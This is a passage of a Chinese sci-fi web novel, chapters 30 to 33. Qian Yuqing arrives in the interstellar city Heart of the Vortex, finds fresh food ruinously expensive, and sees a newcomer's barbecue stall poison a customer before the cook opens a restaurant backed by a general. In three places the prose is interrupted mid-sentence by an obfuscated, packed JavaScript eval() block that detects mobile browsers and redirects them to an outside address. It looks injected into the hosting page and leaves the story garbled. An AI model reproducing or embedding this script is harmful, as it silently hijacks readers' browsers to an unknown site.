她曾经也想要成为一个倾尽所有,去为他人的希望斗争的战士,但“神”却认为她这样的人堕落很有趣,随意地扭曲了她的心,驱使她走向那条漆黑的路。 但当她对此感到愤怒时,“神”又轻飘飘地纵容了她的反抗。 骑士再残忍、再扭曲也无所谓,它的疯狂是主神乐于观赏的藏品,它被矛盾撕扯的灵魂也只是宝石折射出的另一层火彩。不管在它手中死去多少玩家还是BOSS,在主神眼里都只是将来描述它堕落程度的可有可无的背景板,一些没了也可以随意填补的东西。 “是主神特意把那个玩家安排到我面前,那个男人是另一场戏剧的开端。” 钱雨青是他预定的配角,一个被迫手染鲜血、作恶无数的怪物,一位灵魂在黑暗中徘徊,但始终向往光明的骑士,出于未知的原因竟在必死的杀局中将主角轻轻放过,谁也不知道那时的它在想什么。 然后观众们的心脏便会噗通噗通,在一瞬间生出无尽的遐想来。 “我很确定,我杀掉那个男人是祂意料外的事。” 每次回味起主神暴怒又破防的样子,钱雨青就忍不住得意地笑起来。 谢守光很平静:“你在偷摸给自己卖惨洗白?”还玩转起春秋笔法来了。 钱雨青粗鲁地“啧”了一声,生动的表情再度变回漠然。 不过,虽然骑士对情感的叙述很掺水,但其中提及的事实多半不是胡说。 谢守光无视了她的态度,直指重点:“如果你要杀死主神,我会协助你。如果你使用太过激的手段,我会阻止你。” 钱雨青和乌鸦是相依为命好几年的搭档,而骑士和谢守光是争凶斗狠无数次的对手,在某些事情上已经默契得不能再默契。他不需要说太多,钱雨青连讨价还价都懒得,直接举手投降。 谢守光伸手轻轻一按她的肩膀,独属于鸟类的振翅声响起,乌鸦飞进了钱雨青的影子里。 奥卡斯推门而入,将带回来的夜宵塞进钱雨青的手里:“给,这些你应该可以吃。” 钱雨青低头,看着塑料袋里花花绿绿的营养剂,沉默了。 30. 漩涡之心 漩涡之心,顾名思义,它是E8星系最明亮的区域,远望去呈现出泡沫般梦幻的淡蓝色调,如同一颗被安放在贝壳中央的名贵碧色珍珠。 不仅因为其象征性显著的外形,还因为空气偏高的湿度,有着海洋物种基因的人分外偏爱在这里聚集,所以也有人将它称为联邦的第二首都。 航行了二十天的玛丽亚号正停靠在这里。 钱雨青踉跄走下台阶,两眼发直地对自己喃喃道:“欢迎重返人间。” 提着行李箱的奥卡斯走在她身边,好奇道:“你真觉得那么难吃?我吃着还好呀。” 钱雨青露出绝望而不失礼貌的微笑:“可能是我的口味比较小众吧。” 才怪。 为了不让偷渡者的身份暴露,钱雨青吃的是经济舱里无人问津的免费餐。 俗话说得好,魔鬼藏在细节里,如果叫奥卡斯这只虎鲸天天买人粮,一定会留下蹊跷的购买记录。钱雨青一生行事唯谨慎耳,就算暂时不知道隐瞒行踪是在防谁,总之先防了再说。 但她还是低估了“免费”且“无人问津”的东西的威力。 那玩意吃起来像被污水泡过的瓦楞纸箱壳碎屑拌泡沫塑料,每吞一口都是科技制品对人类尊严的重拳粉碎。虽然营养剂的分量足够浓缩,一顿需要的也就和一个蛋挞差不多大小,但餐餐吃天天吃,最后钱雨青还是吃得差点归西。 这绝对不是她的问题,因为需要吃人粮的生物还有一个谢守光。他一气吞完后倒是没吐,就是咽下去之后闭着眼睛坐在那里,久久不动弹,也不知道是吃睡着了还是活活吃死了。 在此等凄风苦雨之中,两个人的身体从未如此贴近过……噢,意思就是他们抱头痛哭了一场。 钱雨青也不是没惦记过奥卡斯的鲸粮,奥卡斯也愿意和她分享。但当那支虎鲸营养剂的管口一凑近钱雨青的鼻端,一股浓烈且上头的鱼腥味就猛窜出来扇了她一个大比兜。 于是,在星舰入港前的最后一天,钱雨青宁愿饿着都不肯吃营养剂了。 她准备在外面大吃一顿。 走出站台,带着微咸气息的湿润海风裹住每一位新来客的身躯。着装各异的种族熙攘走过,为陌生的新世界揭开帷幕。 “很有特色的风格。”左顾右盼一番后,钱雨青如此评价。 漩涡之心是繁华的不夜之地,金与蓝是这颗珍珠光泽的主调。 夜空呈现出迷离透净的蓝黑色,抬头时令人仿佛置身海底。 中央广场颜色接近香槟色的灯带交叉相错,照得整座城市亮如白昼,又不失纸醉金迷的温柔,仿佛带着醺然的甜蜜感。摩天大楼高耸入云,精心设计过的多彩招牌用极尽夸张夺目的方式争相掠夺路人的视线。巨大的广告屏上,面容精致的美人正露出笑容。 马路上,川流不息的车辆如沙丁鱼般拥挤而有序地前行。车辆的外形倒是普通,除了豪华一点外,和钱雨青以前的认知没什么偏差。但如果抬起头,就能看到在高楼大厦间漂浮穿梭的舰艇,如果要评价它们的设计……只能说有钱人的审美差距好大。 声音如海水般充盈,路过的行人说着不同的语言,激昂欢快的乐曲,低沉抒情的旋律,分别从不同的方向传来,交织混合在一处,竟然也不让人觉得违和。 奥卡斯说自己的家乡地处星系边缘,她以前也没有来过漩涡之心,是个第一次来大城市打拼的乡下土妞。现在和钱雨青并肩而行,两个人的头都高高抬着,拧来扭去,差点没转成麻花。 “青青,看,”奥卡斯指着中央广场最大最显眼的主屏幕说,“总有一天,我的脸会出现在那里!” “我相信你!”钱雨青张口就来。 开启新人生的第一步当然是庆祝。踌躇满志的乡下土妞二人组按照社交媒体上一张据说很权威的美食地图,一路找到了一家好评如潮的高分餐馆。 在跨进餐馆的大门前,奥卡斯狗狗祟祟地蹭到钱雨青耳边,小声说:“这家有点小贵,我们点菜的总额千万不要超过两千星币呀!” 其实尼尔森在送给钱雨青的通讯器里已经打有一笔钱,数额不说大富大贵,至少能让人在漩涡之心舒舒服服活个半年。但奥卡斯和钱雨青立下员工吃亏的条约在先,她无论如何也做不出反让拉磨员工为老板付饭钱的逆天操作。 钱雨青也知道这一点,所以她只是向奥卡斯竖起大拇指,示意她放心。 玛丽亚号入港的时间并非饭点,但现在店里就已经坐满大半,除了提着大包小包的游客之外,也有很多本地人的身影,可见这家店的好评颇有含金量。 两人选了一张靠角落的桌子坐下,奥卡斯一拿起菜单,脸颊就心痛得抽抽了一下。 钱雨青看她一眼,又看了菜单一眼,同样震撼得睁圆眼睛:仅仅是一杯西瓜汁就要价500星币,一方鸡肉综合三明治2500星币,一块高级牛排5000星币! 作为对照,钱雨青之前一管就能糊弄一餐的“人粮”免费餐,在外面买一管的价格是2星币,而一个在漩涡之心大企业上班,有正式工作的普通员工,一个月的工资是3万到5万星币不等。 放下菜单,钱雨青冷不丁地问:“抢劫?” 奥卡斯目光幽幽,声音虚弱:“虽然我早就知道特制食物贵,但忘记漩涡之心的物价问题了,啊哈哈……” 哪怕是一杯白开水,只要进了餐厅身价就不可同日而语了,更何况这还是“联邦第二首都”的网红餐厅。哪怕是标榜所谓的平价,也和贫困小地方的“平价”完全不是一个概念。 钱雨青瞄了瞄侍者的行动路线,压低声音:“走?” 奥卡斯一时没说话。 她才刚刚大声说出自己的梦想,又正处在最要脸的年纪,在进退两难许久后,咬着牙挤出一点声音:“来都来了。要不这样,我们分一块牛排吃。要是餐馆不同意,我们就走。” 出现了,完美的理由之“这分量有点大我一个人吃不完”! 奥卡斯招招手,把侍者叫过来,指着菜单上高级牛排的选项问:“请问可不可以只点一份牛排,然后分成两份……” 端着工业微笑的女侍者利落地在手中的通讯器上点了几下:“当然,需要饮料吗?” “……”奥卡斯说,“我要一杯柠檬水,你呢?”她看向钱雨青。 钱雨青说:“我也一样。” 柠檬水200星币一杯,已经是菜单上除了白水最便宜的东西了。 侍者又点了几下,确认她们没有别的要求,留下一句“请稍作等待”便快速移向别的桌子旁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470866|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 奥卡斯垂头丧气:“下次我一定记得看价格……” 钱雨青眨眨眼:“也许下次我们可以去逛逛小吃街。” 没想到,奥卡斯问:“什么是小吃街?” 钱雨青卡了一下:“就是,这种食物像营养剂一样便宜的地方。” 奥卡斯却更疑惑了:“有这样的地方?” 在星际时代,无限辽阔的疆域反而带来了交通成本的飙升。 要在变幻莫测的宇宙中安全航行,首先要有足以抵抗沿途危险的星舰集群,其次需要经验足够丰富的驾驶团队,否则,别说是盘踞在民用航道附近,虎视眈眈的星盗,光是不幸遇上一次量子风暴就够所有人喝一壶孟婆汤的了。 而高速安全的通道不是没有,但那属于联邦军部,平时就有人层层把守,沿途布满外人禁止进入的基地要塞。除了军部自己以外,就只有级别足够的权贵才有资格使用。 至于空间跃迁技术,那更是联邦军部的专属,是军事战略的一部分,和平民一辈子能扯上的唯一关系就是在新闻上看见只言片语。 要是一个人一辈子都甘心待在老家还好,像奥卡斯这样出身偏远星球的人,如果只是个普通的上班族,想要来漩涡之心游玩一趟,光经济舱的星舰票就要攒个大半辈子。 很多时候,一些大型舰队若不是需要临时补给,甚至永远都不会降落在那些没有大型港口也没几个乘客的穷地方。 在这样的情况下,“食物”就成了一种消费市场相当畸形的奢侈品。 毕竟,不是每个星球都像古地球那样对生灵温柔友好的。极寒、极热以及辐射等等不适宜生存的极端环境才是宇宙真正的主旋律。 想要大批量培育食材,就必须有特定的环境,而当地负责培育食材的人们本质是食材培育公司的员工,不是土著居民——就算他们原来是,公司也有得是力气和手段让他们变得不是。 员工想吃公司的财产?做梦去吧! 批量销毁也不会给你,万一你为了吃东西进行恶意损耗呢? 因此,和统一出场、折叠度高、保质期长的营养剂相比,新鲜食材的特性决定了它们的成本和溢价绝不是吃营养剂的阶层日常消费得起的。 另一头,几乎每个顶级权贵都会在自己的私人领地中圈出一两颗气候适宜的星球,直接培育自己家里满意的食材,这在上层甚至形成了一种流行的风气。而每当举行宴会,食材的稀有和新鲜度同样是受到同阶层审视的一部分,其标准必然会与“平民食材”作区分。 于是,普通食材的受众便主要限制在繁华地区的小中产们之间,或许还要加上“一期一会”的外地游客。 在寸土寸金的漩涡之心,可没有谁能奢侈到在附近建温室专门满足平民的食材需求。 自然,这里也绝不会有热气腾腾,大家都喜欢得不得了的小吃街。 想通这一环节,钱雨青忧郁地吸了一大口柠檬水,和对面小口仔细啜饮品味的奥卡斯形成了强烈的对比。 没想到离开末日世界,来到资源理应很丰富的繁华星际,她的生活质量反而下滑得如此之狠。要知道,她当初可是连吃六个月馒头都没有破防的超强女人。 这时,侍者端着两盘牛排走了过来:“你们的餐到了。” 31. 街边小摊的诱惑 牛排……就是牛排。 孤零零、光秃秃的褐色肉块放在盘子正中央,没有配菜,没有装饰,没有调味酱,像从学校春游的大巴车上走丢的可怜小学生。 钱雨青呆滞道:“蘸酱在哪?” 侍者一愣:“两位并没有点蘸酱。” 之前她们翻到菜单第二页就停下了。 钱雨青扯过菜单继续往后翻,一直翻到第五页才看见,一份最简单的蘑菇酱都要1000星币一份。 她合上菜单:“没事了。” 侍者走后,奥卡斯好奇地问:“蘑菇酱是什么味?” 钱雨青也问:“我记得有奶油蘑菇味的虎鲸营养剂?” 奥卡斯把刀撇到一边,直接用叉子把半份牛排叉起,嗷呜撕下一大口:“那个太贵了。” 理论上,奶油、蘑菇以及一般的奶油蘑菇味工业调味料都不在虎鲸的食谱上,奥卡斯如果随口乱吃,轻则生病,重则丧命。 如果仔细翻翻新闻,各星系每年都会有不同种族吃错东西致死的案例,什么狗吃巧克力死掉啦,鹦鹉吃蘑菇死掉啦,金鱼吃薯片死掉啦,层出不穷。 唯一的解法就是专门购买成分安全的,虎鲸能吃的,调成某种味道的特制食物——也就是特制营养剂。 “唯独在这种时候羡慕虫族……”奥卡斯郁闷道,“肠胃像焚化炉一样,甚至不需要配置专门的种族营养剂,有什么吃什么,生存成本低得吓人,完全是宇宙耐活王。” 钱雨青哪壶不开提哪壶:“智人也差不多。”很多对其他种族算是剧毒的东西,统统都在智人食谱上。 没想到奥卡斯大摇其头:“智人是最体质最脆弱的种族,跑又跑不快,游又不能游,智力也不突出。身体里什么元素都缺,不吃复合营养剂就容易生病,必须精养细养。还是进化后的嵌合种方便一些,就算食谱窄也值了。” 她说完才想起钱雨青的种族,顿时惊慌道:“没有看不起你的意思!我只是想说,我会好好保护你的!” 钱雨青丝毫不觉得冒犯:“谢谢。” 奥卡斯以自己要去洗手间为由暂时跑掉了,钱雨青切了一小块牛排往肩膀上伸,喂从影子里探出头来的乌鸦。 “好普通。”它说。 就是肉味和盐味。 “爱吃不吃,大点评家,”钱雨青说,“之后我们连这个都没得吃了。” 这里没有菜市场,超市也不会卖调味料,家装区甚至没有厨具出售。 乌鸦说:“哭哭。” 语气没有丝毫波动。 用心惊肉跳的金额急头白脸地吃了一顿寡淡无味的饭,从餐厅里出来时两个人都沉默许多。但奥卡斯还是很快就调整好了心情,语调重新高昂起来:“走吧,带你去看老板我租的工作室!” 顺着拥挤的城际列车越走越远,奥卡斯租的小工作室地处近郊的帝皇带鱼大学附近,藏在一栋破旧的区民楼里,上上下下的邻居都是贪便宜的穷学生。 电梯升上18楼,按响门铃,带着一副圆眼镜的波波头猫眼女生推开一条门缝:“‘海霸王黑白夹心脆’?” 奥卡斯点头:“你是‘每天都饿得想吃同学’?” 猫眼女生眼神一亮,拉开门:“请进!” 进了门,整间房的布局一目了然。 玄关后是被柜子隔断的细长衣帽间,撩开帘子左转是方正的客厅和突出一块的阳台,阳台上晾满了衣服。投影仪和白墙代替了大屏幕,沙发前的茶几上摊开着写满字的笔记和课本。茶几边缘,各种生活小物件和装饰品危险地被赶成了一排。 一台轻薄的笔记本电脑放在金属的固定架上,散发着幽幽的光。 客厅的角落,一摞叠放的营养剂箱子几乎堆上了天。 “猫粮和……兔粮?”奥卡斯扫了一眼箱子。 “噢,还有个人在图书馆没回来,你房间的隔音原本就是她装的。要不是又涨房租,唉……”猫女抓抓头发,“噢,差点忘了说,我是安娜,另一个人是莉莉丝。” 剩下的三个房间成品字型,左手边的是卫生间,右手边的次卧由书房改建而成。莉莉丝已经搬走了行李,和安娜的放在一起,两张瘦条条的单人床将整个房间占得满满当当,只能用一张桌子硬挤在中间当隔断。 奥卡斯租的是主卧,小心安顿完她的两大箱直播设备后,便只剩下一个衣柜和一张单人床可怜巴巴地挤着。 “比想象中更占位置……”奥卡斯长吁一口气,在椅子上坐下,“今晚我们,呃,挤挤?” 钱雨青跟着她的视线一起偏头,看着那张小小的床。 她果断婉拒道:“没关系,正好今晚我去外面转转,找找工作。” 虽然临时做出了这样的决定,但钱雨青暂时没什么头绪。她初来乍到,对整个星际时代的了解十分匮乏,原本可以当外挂的卡尼利恩又不能联系,只能先随便逛逛。 唯一的好处就是谢守光可以恢复成人形了。 自从来到星际位面,钱雨青身上一直自带的阴冷气场就消失得无影无踪。即使是在午夜时分,她也普通得与常人无异。否则别说本来就被她吓一跳的艾丽斯·霍尔没那么简单妥协,就连滤镜拉满的尼尔森和奥卡斯都要心惊肉跳一阵子才能放下戒心。 加上钱雨青之前自曝“骑士”这个利益相关懂自懂的ID,谢守光也没理由再演,两人就这样心照不宣地假装什么事都没发生。 谢守光:“莱茵在整个联邦都算颇有权势。艾德里安·莱茵是地位稳固的联邦议员,还是下一任总统的候选人。他的长女阿佩尔是著名歌星,也是个公开的神眷者。” 钱雨青:“奥卡斯喜欢的那个神眷者?” 谢守光:“可能是,也可能不是。在阿佩尔之前,原本还有另一个神眷者明星。” 钱雨青:“原本?” 谢守光:“她死了。” 钱雨青吹了声口哨。 “艾德里安的次子珀西瓦尔在军校上学,但曝光度也不低,据说非常优秀,反而是尼尔森低调很多,”谢守光滑动通讯器,“明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470867|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这个年纪的少将在联邦的历史上都算罕见。” 尼尔森是个实权将军,升迁的资历全是一笔笔浸着血的战功换来的,长长的资料滑了两下都翻不到头,还不包括那些不能列举出的秘密任务。 钱雨青知道一点内幕:“尼尔森和艾德里安关系很差,噢,现在是尼尔森单方面对艾德里安很差。当初艾德里安逼迫自己的妹妹进行政治联姻,没想到克莱尔在卡尼利恩的掩护下生下了尼尔森。” 谢守光说:“看来尼尔森的生父没有用处。” 以艾德里安的权势,事实很容易查清,不吭声就说明吭声没用,真把克莱尔嫁给区区平民反而会损伤莱茵的颜面,倒不如坐实克莱尔只是想要个独属于自己的孩子。 这样一个对家族毫无作用,只代表了自己被妹妹和弟弟联手愚弄的侄子,当然不会得到艾德里安的好脸。而等到对方在军部出人头地,再挽回已经来不及,只能把缓和关系的重任推给自己的儿子,目前正在捆绑式大营销中。 “艾德里安代表的莱茵家盘踞在联邦首都,后来卡尼利恩带着尼尔森提桶跑路,来到了‘第二首都’漩涡之心。他的实验室就在这里,”钱雨青突然停下脚步,抬头嗅闻空气,“你闻到什么了没?” 谢守光的视线环视一圈,最终凭借着身高找到了目标:“看到了,是一个……烧烤摊?” 两人对视一眼,双双健步如飞地往烧烤摊的方向走去。 烧烤摊!是真正的烧烤摊! 小摊前已经围满了人,大多是帝皇带鱼大学的学生。霸道的香气袭击了每一位无辜路人,香辣刺激的孜然,酸甜可口的梅酱,铁托盘里新鲜的鸡、猪、牛、鱼和各种蔬菜一应俱全。 戴着口罩的年轻女人扯着嗓子喊:“开业大酬宾!全场烧烤通通10星币一串!您买不了吃亏,买不了上当!通通10星币一串!全部10星币一串!!” 她长着一张圆圆的脸蛋,眼睛的轮廓也圆圆的,不刻意提起笑容时也显得笑意盈盈,看起来十分随和,很有长辈格外喜欢的“福相”。 钱雨青立刻说:“老板,摊上所有种类一样给我来10串!多放辣!” 女人看她一眼,说:“那您还得等会儿,前面还有几单。” 钱雨青深情地说:“我等你。” 另一边,谢守光看着已经有拿到烤串的顾客已经忍不住诱惑当街美美开吃,扭头问摊主:“你的调料是特制的吗?” 摊主的眼睛还紧盯着翻面的烤串,只把脸撇向这边:“是呀是呀,摊上的酱料都是我自家调的秘制配方,绝对好吃!” 谢守光说:“您还是做好逃跑的准备吧。” 钱雨青也说:“新烤的这份能不能给我?反正别人也吃不了。” 摊主总算反应过来有哪里不对劲,举着一大把刚烤好的香喷喷的猪五花,呆呆地发出声音:“啊?” “咕咚”一声,刚刚吃下烤串的顾客晕倒在地,脸色惨白,四肢抽搐。 一瞬的寂静后,周围的人群爆发出巨大的哗然。 32. 好运连连 场面彻底乱了。 有人已经开始报警,高声报出大学西门的地址,质疑有人恶意投毒。 摊主完全没意料到这种疯狂的展开,脸色惨白,声音抖如筛糠:“为、为什么呀……我真的没有下毒,他、他是对什么成分过敏了吗?” 钱雨青轻松从她手中拿过猪五花,横着捋了一大口:“你是第一天来到这个位面?” 摊主一僵,视线游移:“位面?” “是和系统签约后来到这里的吧?”钱雨青吃得嘴巴鼓鼓,凑过去低声说,“别担心,我一定会救你的。” 听出她言语中的暗示,摊主闻言惊讶地看着她,眼中迸发出强烈的依赖之情。 大概是因为引起的骚动太大,警察出警的速度堪称快如闪电。 黄色的虚拟警戒线拉起,尚且热气腾腾的烧烤小摊被没收,钱雨青看见有几个靠近的警察情不自禁地咽了咽口水。 谢守光已经在不知不觉中隐去身形。 所有了解了案情的警官的脸上都带着怀疑自己在做梦的迷惑。 怎么会有人堂而皇之地在大学门口,用这么珍贵的新鲜食材和调料当投毒工具?还只卖10星币一串……这真的不是哪家权贵养出的反社会人格大小姐在公然挑衅司法威严? 长相倒是没什么明显的家族特征,难道是被内部压力逼疯,自爆泄愤的私生子? 哎呀,这样一想,事情就麻烦到头痛起来了。 豪门风云归豪门风云,表面上,大家仍然在认真工作,只时不时悄悄眉来眼去一小下。 之前所有被卖出去的烧烤再度收回,封存成证据。倒地的受害者在进行催吐急救后被救护车拉走。 面对嚣张跋扈的大小姐,和她身边一脸冷漠,看起来完全不把这种恶劣行径当一回事的保镖,有心底仍存热血的小警察忍不住捏紧了拳头。 第一天出摊就犯下惊天大错的烧烤摊小摊主名叫方媛,当警察问起大摇大摆跟着其他人上车的钱雨青时,她答:“这……这是我朋友,她陪我一起……” 钱雨青也顺势点头:“我会保释她。” 警察铁面无私道:“那也要看受害人的身体检测情况。” 见方媛一副躲躲闪闪,畏畏缩缩,还没被审问就快昏倒在地的样子,她的内心烧起一股无名火,竟质问道:“既然这么后悔,为什么要这么冲动地去做呢?” 那些调味料对某些种族而言可是剧毒,也不知道那个受害者还能不能好起来。 方媛哭丧着脸道歉:“我、我不知道后果会这么严重呀……” 原来系统说的万能酱料指的是这个万能!她就不该自作聪明贪小便宜! 钱雨青说:“孩子只是不懂事,她以后一定不会再这样做了。” 闻言,方媛顿时点头如小鸡啄米。 “不懂事?!”警察怒道,“这是一句不懂事就能揭过去的事吗?”她显然还有想说的话,却被迫停了下来,因为她的同事正在疯狂扯她的衣袖。 ——她自己找死就算了,说话这么冲,万一连累其他无辜同事也一起殉职了怎么办! 方媛顶着警察愤怒得快喷火的眼神,只觉得自己百口莫辩,小声问:“我们该怎么办……” 钱雨青看了一眼小警察头上竖起的狗狗耳朵,同样低声答:“小事,我已经联系上能把你弄出去的人了。” 她发誓,她看到狗狗耳朵怒气冲冲地弹了一下。 能当场捞人的当然是实权在握的尼尔森少将。 这也不算完全徇私,因为方媛是个实打实的神眷者,是联邦政府搜捕管控的对象。观察将要围绕着方媛展开的谋划,能让钱雨青对更深层的东西有所了解。 正如钱雨青所承诺的,警车一驶入警局,就有人前来解开方媛的手铐,两人重新登上另一辆黑色的车。 “他们看我们的眼神好可怕……”方媛松了一口气,但愈发愁眉苦脸,“可能在警察心里,我已经是个无法无天的大坏蛋了。” 钱雨青说,“噢宝宝……”这才哪到哪,没说你是不可名状的神秘资本大黑手就不错了。 尼尔森在一套和奥卡斯租的房老旧得不相上下的公寓内和她们见面,钱雨青察觉得出,沿途已经有负责警戒的便衣出没。 “刚刚买下的。以后你就住在这里,”尼尔森表情冷漠,对方媛说的每一句话都带着命令和压迫的意味,“告诉我,你获得的系统能力是什么?” 他穿着一套普通的商务正装,和周围的环境格格不入,身上的军人气质很明显。 抗不住压的方媛当即立正,不用逼问就一五一十地把自己的老底漏了个干净:“和我签约的是神厨美食系统,各个种类的菜肴都有,还有特殊效果!” 钱雨青眼前一亮:“展开说说?” “嗯……比如养生美容什么的,治病解毒也可以,还有的可以暂时提高食用者的身体能力,但这些我暂时都没能解锁。”方媛的视线在虚空中滑动,看着只有她自己能看到的页面。 尼尔森和钱雨青对视一眼。 只要面对的不是“卡尼利恩”,尼尔森便显露出骨子里极其强势的作风来,只是他仍然牢记钱雨青作为“盟友”的身份,所以只是用眼神进行催促。 方媛声称她自己只想当一条咸鱼,实际上相处下来,也能感觉到她就地躺平、任人宰割的投降做派。 钱雨青向来不介意宠宠她这样毫无威胁又大有用处的人,问道:“你想开一间属于自己的店吗?” “想!”方媛眼神亮晶晶的,对钱雨青这个假老乡的话深信不疑。 当然,钱雨青本来在这件事上也没有骗她的必要。 尼尔森问:“那就这样。系统需要你满足什么条件?租一间店铺?还是只要钱就可以?” 方媛答:“系统给我的初始设备就是那台小推车,然后给了我三个开店的进阶选择,一个在市中心,一个在大学周边,一个郊区。我本来选的就是这附近,没想到会发生这种事……” 她一心想着大学生的钱比较好赚,没想到这个位面的情况居然这么坑!说真的,谁能想到世上竟然能有这么无理取闹的种族划分法,星舰都开上了,伙食问题反而不能调和了。 她只知道这个位面的人全都在吃乏味的廉价营养剂度日,哪想到种族食谱不兼容的问题。害得她穿越第一天就惹上大麻烦! 还好,她运气绝顶,遇到了天使投资人!还是两个! 对军部的少将来说,开一家小店所需的钱财只是一个微不足道的数字,方媛拿到他扔来的通讯器笨拙操作两下,便兴奋地宣布系统会搞定一切,明天就可以开业了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470868|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “早上,中午,半夜,都可以做不同的生意,”方媛手上比比画画,眼神闪闪发亮,“这次我肯定买系统出品的万能酱料,不自己瞎搞了。” 说着,她突然想起今晚的事,情绪低落下去:“那个顾客还好吗?” 尼尔森说:“已经脱离危险,我们会负责赔偿。” “而且出事的时候很多人在录视频拍照,”方媛的思路一阵一阵的,这会儿又想起一茬,“他们都知道我是谁,我要怎么在附近开店呀!” 这回轮到钱雨青:“消息已经软封杀了,没有传开。而且刚好你戴着帽子和口罩,脸没有暴露多少,就算有人问起,你否认就行。” 其实是谢守光干的,钱雨青自己的黑客水平大概和今晚吃的五花肉差不多。但那不是他不能出来认领嘛。 至于店内的员工,尼尔森也一并帮忙包圆了。既不用开工资,还有足够的武力保护她。方媛的表情看起来快幸福得融化,大手一挥就在对方给的合约上签了字。 自从遇上了方媛,钱雨青就带着她的宠物乌鸦过上了米虫一般的神仙日子。 她现在蹭着方媛的住处,早上睡到自然醒,就晃进店里给方媛帮工端盘子,但因为店里的其他员工其实都是尼尔森的下属,她也用不着真的做多少活。 而出于对老乡的信任和对恩人的感激,有时钱雨青想要吃点菜单上没有的菜,方媛都会乐呵呵地专门给她做。 麻烦的方面则是方媛常常向钱雨青问起尼尔森,她只能每次都看情况糊弄糊弄,次数多到她有时真的会认真考虑要不要干脆把人供出来,就此祸水东引算了。 但除此之外,方媛真不愧是神厨系统的宿主,不管做什么都美味得要命,经常吃得钱雨青摇头晃脑,脸上露出神秘的微笑。她的小店在短短半个月间名声大噪,成了帝皇带鱼大学附近的必修打卡点之一,许多食客甚至不远万里跨过半个漩涡之心前来,就为了吃一餐饭。 倒也不是没遇上过同行试图找茬刁难,只是解决得轻松。毕竟有系统作弊的方媛可以在商城批量购买食材,品质又高又便宜,还供应及时,开店成本和普通人根本不能比。 而方媛本人则秉持着最朴素的,对没怎么吃过好东西的星际位面土著的怜悯,饭菜价格几乎是别的饭店同样搭配的三分之一甚至四分之一,还时常举行打折优惠活动,差点一举就把帝皇带鱼大学附近的所有饭店干倒闭。 现在,周围的人只要出来吃饭,都会首选她的店,只有实在挤不到位置,才会考虑别处。 与和气软趴的接人待物不同,方媛在事业方面简直就是薇甘菊级别的入侵物种,任何同行妄图冒头都会被她重拳治理。 而等到了晚上,奥卡斯准备开直播赚钱,钱雨青就去她那里上夜班,顺便提着一袋子吃的客串外卖员。 她现在也是个不吃方媛做的饭就活不下去的忠实顾客。第一次吃方媛做的食物的时候,奥卡斯吃得眼珠子都快瞪出来了,一副饿死鬼投胎的样子。 然而今天又稍微有些不同。钱雨青到的时候,奥卡斯没有急着扑上来狼吞虎咽。她正窝在椅子里,脸上是一种冷静过头的阴郁,像是终于盘算清楚了某件事。 “怎么了?”钱雨青问。 奥卡斯扫了她一眼,冷静地回答:“我想杀一个人。” 33. 暴怒 虽然做出茫然的表情,但在奥卡斯开口之前,钱雨青心中已浮现出答案。 果不其然,奥卡斯毫不犹豫地说出一个名字,一个她们两人都很熟悉的ID。 “它越线了。”奥卡斯说。 “大头水生物刺身套餐”,奥卡斯最活跃过激的黑粉头子之一。早在星舰上第一次围观奥卡斯直播时,钱雨青就对这个ID印象深刻。 俗话说得好,恨比爱长久。 奥卡斯自己也记不清第一次和此人吵架到底吵了什么,等到反应过来的时候,它已经把“和奥卡斯作对”当成了人生事业,鼻子灵得像疯狗一般,千里追击,逮到就咬。哪怕奥卡斯屡次炸号重开,在各个平台流窜,只要一开播,观众里必定有它。 刷屏挑衅和辱骂主播只是小儿科,更烦人的是它还会专门和其他支持奥卡斯的观众吵架。它每每出现,留言区很快就会被它吸引注意力,变得乌烟瘴气、不堪入目。 “我好几次炸号都是因为它,”奥卡斯舔舔嘴唇,“它一直在举报我宣传不良思想……希望世界和平到底哪里不良了?” 更恼人的是它真能成功,因为奥卡斯一被惹急了就骂人,嘲讽和粗口层出不穷。 钱雨青当了房管之后情况好了些,但也只是好了些而已。她每晚都得花费不少精力来封禁它,但它小号多得像批发,不一会儿又秽土转生,继续发癫。 至于它在各种社交平台故意造谣式科普奥卡斯的黑料,驱赶新观众的事,两人更是举报到手软,效果还不咋地。这一部分是因为她和钱雨青两人加起来,玩转星网的水平也就那样,一部分是因为奥卡斯口不择言的小切片实在太多,现在想公关已经太晚了。 钱雨青吐槽道:“如果实在不行,你就把留言区用小纸片贴起来算了,完全不互动也好过和人对喷。”反正黑粉有她来删。 奥卡斯老脸一红:“下次一定!” 把它告上法庭看似是条出路,如果打到底,赢是一定能赢的,但作为一个出道没两年的底层贫穷小糊糊,奥卡斯的致命弱点就是没有钱请代理,更没有时间和它打拉锯战。 因为它追着黑的行为开始得很早,早到奥卡斯的数据一直是糊锅状态,账面上甚至看不出多少波动起伏,最后多半也抠不出多少赔偿金。 